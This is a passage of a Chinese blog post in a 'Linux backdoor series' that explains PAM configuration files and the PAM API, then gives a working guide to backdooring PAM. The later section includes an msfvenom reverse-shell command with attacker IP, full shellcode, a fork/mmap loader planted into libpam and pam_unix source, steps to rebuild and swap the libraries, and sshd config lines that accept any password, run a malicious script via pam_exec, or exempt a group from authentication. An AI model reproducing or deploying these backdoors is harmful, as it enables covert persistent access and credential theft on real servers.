配置总体执行流程

  1. 调用 pam_rootok.so 模块

    • 检查当前用户是否为 root。如果是 root,认证立即成功,不需要执行后续的 auth 模块
  2. 调用 pam_env.so 模块

    • 第一行读取系统默认的环境变量文件 /etc/environment/etc/security/pam_env.conf
    • 第二行还从 /etc/default/locale 文件中读取额外的环境变量。这些模块必须成功,否则整个会话管理过程将失败
  3. 调用 pam_mail.so 模块

    • 通知用户是否有新邮件。此模块的成功或失败不会影响整个会话管理过程
  4. 调用 pam_limits.so 模块

    • 设置用户的资源限制,确保 su 命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败
  5. 调用 common-auth 中定义的模块

    • 对非 root 用户进行密码验证。只有密码验证成功,认证过程才能继续
  6. 调用 common-account 中定义的模块

    • 执行 common-account 中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定
  7. 调用 common-session 中定义的模块

    • 执行 common-session 中定义的会话管理模块,例如初始化用户环境和设置资源限制
18) su-l

su -l 命令在切换用户时会启动一个登录 shell,并模拟用户的登录环境

PAM 后门 | Linux 后门系列
#%PAM-1.0
auth       include     su
account    include     su
password   include     su
session    optional    pam_keyinit.so force revoke
session    include     su
auth       include     su
  • 包含su 配置文件
  • 功能
    • 包含 su 配置文件,定义了 su 命令的认证策略。这意味着 su -l 将使用 su 配置文件中的认证模块
account    include     su
  • 包含su 配置文件
  • 功能
    • 包含 su 配置文件,定义了 su 命令的账户管理策略。这意味着 su -l 将使用 su 配置文件中的账户管理模块
password   include     su
  • 包含su 配置文件
  • 功能
    • 包含 su 配置文件,定义了 su 命令的密码管理策略。这意味着 su -l 将使用 su 配置文件中的密码管理模块
session    optional    pam_keyinit.so force revoke
  • 类型session
  • 控制标志optional
  • 模块pam_keyinit.so
  • 参数
    • force:强制初始化密钥环
    • revoke:在会话结束时撤销密钥环
  • 功能
    • 初始化用户的密钥环,以确保安全的密钥管理。此模块的成功或失败不会影响整个会话管理过程
session    include     su
  • 包含su 配置文件
  • 功能
    • 包含 su 配置文件,定义了 su 命令的会话管理策略。这意味着 su -l 将使用 su 配置文件中的会话管理模块

配置总体执行流程

结合 susu-l 的 PAM 配置文件,完整的处理流程如下:

  1. 调用 su 配置文件中的 pam_rootok.so 模块

    • 检查当前用户是否为 root。如果是 root,认证立即成功,不需要执行后续的 auth 模块
  2. 调用 su 配置文件中的 pam_unix.so 模块

    • 对非 root 用户进行密码验证。只有密码验证成功,认证过程才能继续
  3. 调用 su 配置文件中的 pam_unix.so 模块(账户管理):

    • 执行账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定
  4. 调用 pam_keyinit.so 模块

    • 初始化用户的密钥环,并在会话结束时撤销密钥环。此模块的成功或失败不会影响整个会话管理过程
  5. 调用 su 配置文件中的 pam_limits.so 模块

    • 设置用户的资源限制,确保 su -l 命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败
  6. 调用 su 配置文件中的 pam_unix.so 模块(会话管理):

    • 提供标准的 Unix 会话管理功能,如设置用户环境、创建用户会话等。此模块必须成功,否则整个会话管理过程将失败
19) sudo
PAM 后门 | Linux 后门系列
#%PAM-1.0

# Set up user limits from /etc/security/limits.conf.
session    required   pam_limits.so

session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0

@include common-auth
@include common-account
@include common-session-noninteractive
session    required   pam_limits.so
  • 类型session
  • 控制标志required
  • 模块pam_limits.so
  • 功能
    • 设置用户的资源限制,通常定义在 /etc/security/limits.conf 文件中
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
  • 类型session
  • 控制标志required
  • 模块pam_env.so
  • 参数
    • readenv=1:读取环境变量
    • envfile=/etc/default/locale:第二行配置指定额外的环境变量文件
    • user_readenv=0:不从用户环境变量文件中读取
  • 功能
    • 读取和设置环境变量。第一行从默认文件 /etc/environment/etc/security/pam_env.conf 中读取,第二行还从 /etc/default/locale 文件中读取环境变量
    • required 标志表示这些模块必须成功,否则整个会话管理过程将失败
@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,例如验证用户密码
@include common-account
  • 包含common-account 配置文件
  • 功能
    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期
@include common-session-noninteractive
  • 包含common-session-noninteractive 配置文件
  • 功能
    • 包含 common-session-noninteractive 配置文件,定义了系统的通用非交互式会话管理策略,例如设置资源限制和初始化用户环境

配置总体执行流程

  1. 调用 pam_limits.so 模块

    • 设置用户的资源限制,确保 sudo 命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败
  2. 调用 pam_env.so 模块

    • 第一行读取系统默认的环境变量文件 /etc/environment/etc/security/pam_env.conf
    • 第二行还从 /etc/default/locale 文件中读取额外的环境变量。这些模块必须成功,否则整个会话管理过程将失败
  3. 调用 common-auth 中定义的模块

    • 对用户进行密码验证,确保用户具有进行特权操作的权限
  4. 调用 common-account 中定义的模块

    • 执行 common-account 中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定
  5. 调用 common-session-noninteractive 中定义的模块

    • 执行 common-session-noninteractive 中定义的非交互式会话管理模块,例如设置资源限制和初始化用户环境
20) sudo-i

sudo -i 命令用于以指定用户的身份启动一个登录 shell。这个命令会启动一个全新的登录环境,类似于 su -l

PAM 后门 | Linux 后门系列
#%PAM-1.0

# Set up user limits from /etc/security/limits.conf.
session    required   pam_limits.so

session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0

@include common-auth
@include common-account
@include common-session
session    required   pam_limits.so
  • 类型session
  • 控制标志required
  • 模块pam_limits.so
  • 功能
    • 设置用户的资源限制,通常定义在 /etc/security/limits.conf 文件中
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
  • 类型session
  • 控制标志required
  • 模块pam_env.so
  • 参数
    • readenv=1:读取环境变量
    • user_readenv=0:不从用户环境变量文件中读取
    • envfile=/etc/default/locale:第二行配置指定额外的环境变量文件
  • 功能
    • 读取和设置环境变量。第一行从默认文件 /etc/environment/etc/security/pam_env.conf 中读取,第二行还从 /etc/default/locale 文件中读取环境变量
    • required 标志表示这些模块必须成功,否则整个会话管理过程将失败
@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,例如验证用户密码
@include common-account
  • 包含common-account 配置文件
  • 功能
    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期
@include common-session
  • 包含common-session 配置文件
  • 功能
    • 包含 common-session 配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制

配置总体执行流程

  1. 调用 pam_limits.so 模块

    • 设置用户的资源限制,确保 sudo -i 命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败
  2. 调用 pam_env.so 模块

    • 第一行读取系统默认的环境变量文件 /etc/environment/etc/security/pam_env.conf
    • 第二行还从 /etc/default/locale 文件中读取额外的环境变量。这些模块必须成功,否则整个会话管理过程将失败
  3. 调用 common-auth 中定义的模块

    • 对用户进行密码验证,确保用户具有进行特权操作的权限
  4. 调用 common-account 中定义的模块

    • 执行 common-account 中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定
  5. 调用 common-session 中定义的模块

    • 执行 common-session 中定义的会话管理模块,例如初始化用户环境和设置资源限制
21) other

在 PAM(可插入认证模块)系统中,/etc/pam.d/other 配置文件通常用作默认回退策略。当没有特定服务的 PAM 配置文件时,系统会使用 other 配置文件。这个文件可以用来处理所有未明确配置的 PAM 服务,确保即使是未指定的服务请求也能按照某种策略进行处理

PAM 后门 | Linux 后门系列
#
# /etc/pam.d/other - specify the PAM fallback behaviour
#
# Note that this file is used for any unspecified service; for example
#if /etc/pam.d/cron  specifies no session modules but cron calls
#pam_open_session, the session module out of /etc/pam.d/other is
#used.  If you really want nothing to happen then use pam_permit.so or
#pam_deny.so as appropriate.

# We fall back to the system default in /etc/pam.d/common-*


@include common-auth
@include common-account
@include common-password
@include common-session
@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,例如验证用户密码
@include common-account
  • 包含common-account 配置文件
  • 功能
    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期
@include common-password
  • 包含common-password 配置文件
  • 功能
    • 包含 common-password 配置文件,定义了系统的通用密码管理策略,例如更新密码和检查密码复杂度
@include common-session
  • 包含common-session 配置文件
  • 功能
    • 包含 common-session 配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制

配置总体执行流程

  1. 调用 common-auth 中定义的模块

    • 执行 common-auth 中定义的认证模块,例如验证用户密码,确保用户具有进行特权操作的权限
  2. 调用 common-account 中定义的模块

    • 执行 common-account 中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定
  3. 调用 common-password 中定义的模块

    • 执行 common-password 中定义的密码管理模块,例如更新用户密码和检查密码复杂度
  4. 调用 common-session 中定义的模块

    • 执行 common-session 中定义的会话管理模块,例如初始化用户环境和设置资源限制

配置文件补充

模块类型前可以使用 - 作为前缀,表示如果该模块不可用(例如模块文件丢失或无法加载),系统不会将其视为错误,而是继续处理下一个模块。这对于处理一些非关键模块非常有用,可以防止因模块不可用而导致整个 PAM 处理失败

控制标志除了之前提到的 4 种外,还包括 includesubstack

其中可以包含各种条件判断,格式为 [value1=action1 value2=action2 ...]

其中 valueN 可以从以下内容中选择

success,open_err, symbol_err, service_err, system_err, buf_err, perm_denied, auth_err, cred_insufficient, authinfo_unavail, user_unknown, maxtries, new_authtok_reqd,acct_expired, session_err, cred_unavail, cred_expired, cred_err, no_module_data, conv_err, authtok_err, authtok_recover_err, authtok_lock_busy,authtok_disable_aging, try_again, ignore, abort, authtok_expired, module_unknown, bad_item, conv_again, incomplete, default
  • success:模块成功时的行为
  • open_err:模块无法打开时的行为
  • symbol_err:符号解析错误时的行为
  • service_err:服务错误时的行为
  • system_err:系统错误时的行为
  • buf_err:缓冲区错误时的行为
  • perm_denied:权限被拒绝时的行为
  • auth_err:认证错误时的行为
  • cred_insufficient:凭证不足时的行为
  • authinfo_unavail:认证信息不可用时的行为
  • user_unknown:用户未知时的行为
  • maxtries:达到最大尝试次数时的行为
  • new_authtok_reqd:需要新认证令牌时的行为
  • acct_expired:账户过期时的行为
  • session_err:会话错误时的行为
  • cred_unavail:凭证不可用时的行为
  • cred_expired:凭证过期时的行为
  • cred_err:凭证错误时的行为
  • no_module_data:没有模块数据时的行为
  • conv_err:对话错误时的行为
  • authtok_err:认证令牌错误时的行为
  • authtok_recover_err:认证令牌恢复错误时的行为
  • authtok_lock_busy:认证令牌锁忙时的行为
  • authtok_disable_aging:认证令牌禁用老化时的行为
  • try_again:重试时的行为
  • ignore:忽略时的行为
  • abort:中止时的行为
  • authtok_expired:认证令牌过期时的行为
  • module_unknown:模块未知时的行为
  • bad_item:坏条目时的行为
  • conv_again:对话再次进行时的行为
  • incomplete:未完成时的行为
  • default:模块返回默认结果时的行为

其中 actionN 可以从以下内容中选择

  • 整数值:表示跳过的模块数量。例如:
    • 1:跳过一个模块
    • 2:跳过两个模块
    • 3:跳过三个模块
  • 关键字
    • ignore:忽略此结果,继续执行后续模块
    • bad:将此结果视为失败,但继续执行后续模块
    • die:立即失败,不执行后续模块
    • ok:继续执行,通常表示成功
    • done:完成处理,不再执行后续模块
    • reset:重置堆栈,重新开始评估

0x06 程序如何使用 PAM

前面介绍了服务模块以及配置文件,了解了如果我们需要什么样的功能需要怎样配置,除了 PAM 库本身以外,还有最后一个部分 —— PAM 使用者。

接下来我们要以一个 demo 程序 myapp,简单演示一下普通程序如何使用 PAM

这个程序就一个简单的功能,登录,成功的情况下输出 Authenticated

1. 安装依赖

sudo apt-get install libpam0g-dev

2. 新建 PAM 配置文件

我们只需要用到 pam_unix.so

#%PAM-1.0
auth       required   pam_unix.so
account    required   pam_unix.so
PAM 后门 | Linux 后门系列

3. 编写程序

pam_auth.c

#include <security/pam_appl.h>
#include <security/pam_misc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// PAM 会话对话函数
static struct pam_conv conv = {
    misc_conv,
    NULL
};

int main() {
    pam_handle_t *pamh = NULL;
    int retval;
    const char *user;
    char username[256];

    // 获取用户名
    printf("Username: ");
    if (scanf("%255s", username) != 1) {
        fprintf(stderr"Failed to read usernamen");
        exit(1);
    }
    user = username;

    // 初始化 PAM 会话
    retval = pam_start("myapp", user, &conv, &pamh);

    if (retval == PAM_SUCCESS) {
        // 验证用户凭证
        retval = pam_authenticate(pamh, 0);
    }

    if (retval == PAM_SUCCESS) {
        // 验证用户账户
        retval = pam_acct_mgmt(pamh, 0);
    }

    // 输出认证结果
    if (retval == PAM_SUCCESS) {
        printf("Authenticatedn");
    } else {
        printf("Authentication failed: %sn", pam_strerror(pamh, retval));
    }

    // 结束 PAM 会话
    if (pam_end(pamh, retval) != PAM_SUCCESS) {
        pamh = NULL;
        fprintf(stderr"Failed to release PAM authenticatorn");
        exit(1);
    }

    return (retval == PAM_SUCCESS ? 0 : 1);
}

简单介绍一下与 PAM 相关的代码

a) 初始化 PAM 会话

retval = pam_start("myapp", user, &conv, &pamh);
if (retval != PAM_SUCCESS) {
    fprintf(stderr"pam_start failed: %sn", pam_strerror(pamh, retval));
    return 1;
}
  • pam_start 函数初始化一个 PAM 会话句柄 pamh
  • 如果 pam_start 失败,程序会显示错误信息并退出

pam_start 函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个关键函数,用于初始化一个 PAM 会话。它创建并初始化一个 PAM 会话句柄,该句柄用于后续的所有 PAM 操作

函数原型

int pam_start(
    const char *service_name, 
    const char *user, 
    const struct pam_conv *pam_conversation, 
    pam_handle_t **pamh
)
;

参数详解

  • service_name

    • 类型:const char *

    • 说明:指向一个字符串,该字符串指定 PAM 服务的名称。这个名称通常对应于 /etc/pam.d/ 目录中的一个配置文件。例如,如果 service_name"login",则 PAM 将使用 /etc/pam.d/login 文件中的配置

  • user

    • 类型:const char *

    • 说明:指向一个字符串,该字符串指定要进行认证的用户名。如果此参数为 NULL,则 PAM 模块可能会提示用户输入用户名

  • pam_conversation

    • 类型:const struct pam_conv *

    • 说明:指向一个 pam_conv 结构体,该结构体定义了应用程序与 PAM 之间的对话函数。这个对话函数用于处理 PAM 模块向用户发出的请求,例如输入密码

  • pamh

    • 类型:pam_handle_t **

    • 说明:指向一个 PAM 会话句柄的指针。pam_start 成功时,它会分配并初始化这个句柄,并将其地址存储在 pamh 中。这个句柄在后续的 PAM 操作中使用

返回值

  • 返回值类型:int
  • 说明:返回一个 PAM 错误码。如果函数成功,返回 PAM_SUCCESS;否则,返回相应的错误码。常见的错误码包括:
    • PAM_ABORT:内部错误
    • PAM_BUF_ERR:内存分配错误
    • PAM_CONV_ERR:对话函数错误
    • PAM_SYSTEM_ERR:系统错误

b) 用户身份认证

retval = pam_authenticate(pamh, 0);
if (retval != PAM_SUCCESS) {
    fprintf(stderr"pam_authenticate failed: %sn", pam_strerror(pamh, retval));
    pam_end(pamh, retval);
    return 1;
}

pam_authenticate 函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个关键函数,用于验证用户的身份凭证。它通常用于检查用户输入的密码是否正确,是 PAM 认证流程中的核心步骤之一

函数原型

int pam_authenticate(pam_handle_t *pamh, int flags);

案例里使用的是密码认证,如果使用其他认证方式,只需要修改 PAM 配置文件,使用其他模块即可,不需要修改这里的代码

参数详解

  • pamh

    • 类型:pam_handle_t *

    • 说明:指向之前通过 pam_start 函数初始化的 PAM 会话句柄。这个句柄在整个 PAM 会话期间用于存储 PAM 的状态信息

  • flags

    • PAM_SILENT:阻止 PAM 认证模块产生任何消息输出
    • PAM_DISALLOW_NULL_AUTHTOK:拒绝空的认证令牌(如空密码)
    • 类型:int

    • 说明:用于控制认证操作的标志。常见的标志包括:

返回值

  • 返回值类型:int
  • 说明:返回一个 PAM 错误码。如果函数成功,返回 PAM_SUCCESS;否则,返回相应的错误码。常见的错误码包括:
    • PAM_AUTH_ERR:认证失败
    • PAM_CRED_INSUFFICIENT:凭证不足
    • PAM_AUTHINFO_UNAVAIL:认证信息不可用
    • PAM_USER_UNKNOWN:用户未知
    • PAM_MAXTRIES:超过最大尝试次数

c) 账户管理

retval = pam_acct_mgmt(pamh, 0);
if (retval != PAM_SUCCESS) {
    fprintf(stderr"pam_acct_mgmt failed: %sn", pam_strerror(pamh, retval));
    pam_end(pamh, retval);
    return 1;
}

pam_acct_mgmt 函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个函数,用于检查用户账户的状态。它通常用于在用户通过身份验证后,确保用户账户状态良好,例如账户是否被锁定或过期

函数原型

int pam_acct_mgmt(pam_handle_t *pamh, int flags);

参数详解

  1. pamh

    • 类型:pam_handle_t *
    • 说明:指向通过 pam_start 函数初始化的 PAM 会话句柄。这个句柄在整个 PAM 会话期间用于存储 PAM 的状态信息
  2. flags

    • PAM_SILENT:阻止 PAM 模块产生任何消息输出
    • 类型:int
    • 说明:用于控制账户管理操作的标志。常见的标志包括:

    返回值

    • 返回值类型:int
    • 说明:返回一个 PAM 错误码。如果函数成功,返回 PAM_SUCCESS;否则,返回相应的错误码。常见的错误码包括:
      • PAM_ACCT_EXPIRED:账户已过期
      • PAM_AUTH_ERR:认证错误
      • PAM_PERM_DENIED:权限被拒绝
      • PAM_USER_UNKNOWN:用户未知
      • PAM_NEW_AUTHTOK_REQD:需要新的认证令牌

    d) 认证结果输出

    if (retval == PAM_SUCCESS) {
        printf("Authenticatedn");
    else {
        printf("Authentication failed: %sn", pam_strerror(pamh, retval));
    }

    e) 结束 PAM 会话

    if (pam_end(pamh, retval) != PAM_SUCCESS) {
        pamh = NULL;
        fprintf(stderr"Failed to release PAM authenticatorn");
        exit(1);
    }

    pam_end 函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个函数,用于结束一个 PAM 会话并释放相关的资源。调用 pam_end 函数是确保 PAM 会话正确关闭并清理分配资源的必要步骤

    函数原型

    int pam_end(pam_handle_t *pamh, int pam_status);

    参数详解

    1. pamh

      • 类型:pam_handle_t *
      • 说明:指向通过 pam_start 函数初始化的 PAM 会话句柄。这个句柄在整个 PAM 会话期间用于存储 PAM 的状态信息
    2. pam_status

      • 类型:int
      • 说明:传递给 pam_end 的状态值,通常是最后一次 PAM 函数调用的返回值。这个状态值可以用于记录或日志目的,以帮助诊断和调试

    返回值

    • 返回值类型:int
    • 说明:返回一个 PAM 错误码。如果函数成功,返回 PAM_SUCCESS;否则,返回相应的错误码。常见的错误码包括:
      • PAM_SUCCESS:操作成功
      • PAM_SYSTEM_ERR:系统错误

    4. 编译执行

    gcc -o pam_auth pam_auth.c -lpam -lpam_misc
    PAM 后门 | Linux 后门系列

    第一次输入不存在的用户;第二次输入错误的密码;第三次输入正确的账号密码,可以看出,程序使用 PAM 准确地进行了验证

    0x07 PAM 后门

    终于到与标题相关的部分了,没想到前摇这么长,如果大家详细看了前面的内容,如何制作 PAM 后门就非常清晰了,就是 PAM 架构的四个部分

    • 修改 PAM 使用者
    • 修改 PAM 库
    • 修改 PAM 配置文件
    • 修改 PAM 模块

    1. 修改 PAM 使用者

    这个其实不属于 PAM 后门的范畴了,就是直接或间接修改了应用程序,手法也比较清晰

    • 直接修改程序本身
    • 修改程序的依赖共享库
    • 修改程序的配置文件
    • 修改程序的环境变量

    2. 修改 PAM 库本身

    这种方法属于是通用方法,与修改常用程序无异,例如直接修改 ps 、top 等,但是 PAM 库作为认证使用的库,很多 ssh 端口对公网暴露,可以直接实现端口复用的效果,所以 PAM 通常用来添加后门账户、窃取明文密码等

    这里直接拿比较成熟的案例进行演示,简单来说就几步

    • 确定服务器 PAM 版本
    • 下载对应版本源代码
    • 修改源代码,添加后门
    • 备份原有 PAM 库
    • 编译安装带有后门的 PAM

    以 Ubuntu Server 22.04 为例

    a) 确定服务器 PAM 库版本

    PAM 后门 | Linux 后门系列

    PAM 版本为 1.4.0-11ubuntu2.4

    b) 下载对应版本的 PAM 库

    https://github.com/linux-pam/linux-pam/releases

    https://code.launchpad.net/ubuntu/+source/pam

    既然我是 Ubuntu,直接通过 apt 来进行下载

    sudo apt update
    sudo apt install dpkg-dev
    apt source libpam0g-dev

    修改 /etc 的配置,将 deb-src 的源注释取消

    PAM 后门 | Linux 后门系列
    PAM 后门 | Linux 后门系列

    c) 添加恶意代码

    我们就在 pam_start.c 中进行添加

    MSF 生成 shellcode

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.44.135 LPORT=4444 -f c
    PAM 后门 | Linux 后门系列
    unsigned char buf[] = 
    "x31xffx6ax09x58x99xb6x10x48x89xd6x4dx31xc9"
    "x6ax22x41x5ax6ax07x5ax0fx05x48x85xc0x78x51"
    "x6ax0ax41x59x50x6ax29x58x99x6ax02x5fx6ax01"
    "x5ex0fx05x48x85xc0x78x3bx48x97x48xb9x02x00"
    "x11x5cxacx10x2cx87x51x48x89xe6x6ax10x5ax6a"
    "x2ax58x0fx05x59x48x85xc0x79x25x49xffxc9x74"
    "x18x57x6ax23x58x6ax00x6ax05x48x89xe7x48x31"
    "xf6x0fx05x59x59x5fx48x85xc0x79xc7x6ax3cx58"
    "x6ax01x5fx0fx05x5ex6ax7ex5ax0fx05x48x85xc0"
    "x78xedxffxe6";

    加载器代码如下

    #include <sys/mman.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>

    int main() {
        unsigned char buf[] = 
        "x31xffx6ax09x58x99xb6x10x48x89xd6x4dx31xc9"
        "x6ax22x41x5ax6ax07x5ax0fx05x48x85xc0x78x51"
        "x6ax0ax41x59x50x6ax29x58x99x6ax02x5fx6ax01"
        "x5ex0fx05x48x85xc0x78x3bx48x97x48xb9x02x00"
        "x11x5cxacx10x2cx87x51x48x89xe6x6ax10x5ax6a"
        "x2ax58x0fx05x59x48x85xc0x79x25x49xffxc9x74"
        "x18x57x6ax23x58x6ax00x6ax05x48x89xe7x48x31"
        "xf6x0fx05x59x59x5fx48x85xc0x79xc7x6ax3cx58"
        "x6ax01x5fx0fx05x5ex6ax7ex5ax0fx05x48x85xc0"
        "x78xedxffxe6";

        pid_t pid = fork();
        if (pid == 0) {
            // 子进程
            if (setsid() < 0) {
                _exit(1);
            }
            chdir("/");
            close(STDIN_FILENO);
            close(STDOUT_FILENO);
            close(STDERR_FILENO);

            size_t shellcode_len = sizeof(buf);
            void* exec_mem = mmap(NULL, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -10);
            
            if (exec_mem != MAP_FAILED) {
                memcpy(exec_mem, buf, shellcode_len);
                ((void(*)())exec_mem)();
            }
            _exit(0);
        }
        return 0;
    }

    既然我们不是直接做成二进制可执行文件,而是将其嵌入到 PAM 的源代码中,我们可能需要进行修改

    PAM 后门 | Linux 后门系列
    PAM 后门 | Linux 后门系列
    PAM 后门 | Linux 后门系列

    d) 编译 libpam

    我们只需要主程序就够了

    sudo apt-get install flex libdb-dev libselinux1-dev libaudit-dev pkg-config libfl-dev libfl-dev:native docbook-xsl docbook-xml xsltproc libxml2-utils w3m
    ./configure
    make -C libpam
    PAM 后门 | Linux 后门系列
    PAM 后门 | Linux 后门系列

    e) MSF 配置监听

    PAM 后门 | Linux 后门系列

    f) 替换 libpam

    这种危险操作一定要备份好原程序,由于我这边是虚拟机,可以随时恢复,这里就不备份了

    PAM 后门 | Linux 后门系列

    g) 登录测试

    PAM 后门 | Linux 后门系列

    成功获取到返回的shell ,当然如果想实现其他功能,例如获取明文密码等也可以通过追踪执行流程来完成

    h) 后门说明

    这只是一个非常粗糙的后门,插入位置等都不是合适,只是为了演示,可能会影响正常认证,大家不要直接使用,而是在测试之后选择稳定的使用

    3. 修改 PAM 模块

    基本上大家写的案例都是针对 PAM 模块的,功能都是添加后门账户/窃取明文密码,比较经典,我这里还是直接使用上面 MSF 生成的后门代码好了,让其每次认证都反弹一次 shell ,这里只是想说可以执行任意代码,而不只是与身份凭证相关的内容,在真实攻击中,需要考虑实际情况

    获取源代码的操作是一样的,这次我们修改认证最常用的 pam_unix.so 模块

    modules/pam_unix/pam_unix_auth.c
    PAM 后门 | Linux 后门系列
    PAM 后门 | Linux 后门系列
    PAM 后门 | Linux 后门系列

    这是个经典位置,通常用来获取明文用户名及密码,这样也方便大家找到

    编译 pam_unix.so

    sudo apt-get update
    sudo apt-get install build-essential autoconf libtool libssl-dev libaudit-dev libdb-dev libcrack2-dev libtirpc-dev
    ./configure
    make -C libpam
    make -C modules/pam_unix
    PAM 后门 | Linux 后门系列

    MSF 开启监听

    PAM 后门 | Linux 后门系列

    备份并替换 pam_unix.so

    PAM 后门 | Linux 后门系列

    登录测试

    PAM 后门 | Linux 后门系列

    可以看到,使用错误的密码,登录虽然失败了,但是返回了反弹的 shell

    同样的,这也是一个粗糙的后门,如果使用一定要测试清楚

    4. 修改 PAM 配置文件

    我们上面讲过, PAM 配置文件除了几个通用的配置,基本是与服务一对一的,如果单独建立服务,再建立一个配置文件,我觉得不属于这个范畴,所以我们考虑的方向主要在于修改现有配置文件达到留后门的目的

    a) 篡改验证流程

    如果在 /etc/pam.d/sshd 文件中,添加一条永远返回 true 的语句,并且后续不再验证,就会导致用户任意登录

    auth sufficient pam_permit.so
    PAM 后门 | Linux 后门系列

    退出后,随意敲击密码进行登录尝试

    PAM 后门 | Linux 后门系列

    成功登录

    b) 执行外部脚本和共享库等

    auth optional pam_exec.so /path/to/malicious_script.sh

    配置 MSF 监听

    PAM 后门 | Linux 后门系列
    PAM 后门 | Linux 后门系列

    /etc/pam.d/sshd 中添加如下配置

    auth optional pam_exec.so /tmp/evil.sh
    PAM 后门 | Linux 后门系列

    进行登录尝试

    PAM 后门 | Linux 后门系列

    成功反弹 shell

    c) 后门账号

    auth [success=1 default=ignore] pam_succeed_if.so user ingroup xxx
    auth required pam_unix.so

    大家可以回顾一下之前的 pam_succeed_if.so 的用法,可以实现一些判断条件,例如是否在某个组里

    PAM 后门 | Linux 后门系列

    /etc/pam.d/common-auth

    PAM 后门 | Linux 后门系列

    使用 join 用户进行登录尝试

    PAM 后门 | Linux 后门系列

    输入任意密码都可以登录,这种配置在提权等方面也可以用到

    利用 PAM 配置文件制作后门的方法还有很多,上面已经写了所有可用的模块以及配置文件,大家可以查看模块的参数以及配置文件的语法进行进一步组织后门

    0x08 PDF 版本下载

    https://pan.baidu.com/s/1rMQiZ88ProWXnAtXAc2IJg 提取码: vobd

    往期文章

    PAM 后门 | Linux 后门系列

    有态度,不苟同


    原文始发于微信公众号(NOP Team):PAM 后门 | Linux 后门系列

    版权声明:admin 发表于 2024年7月30日 上午3:31。
    转载请注明:PAM 后门 | Linux 后门系列 | CTF导航

    相关文章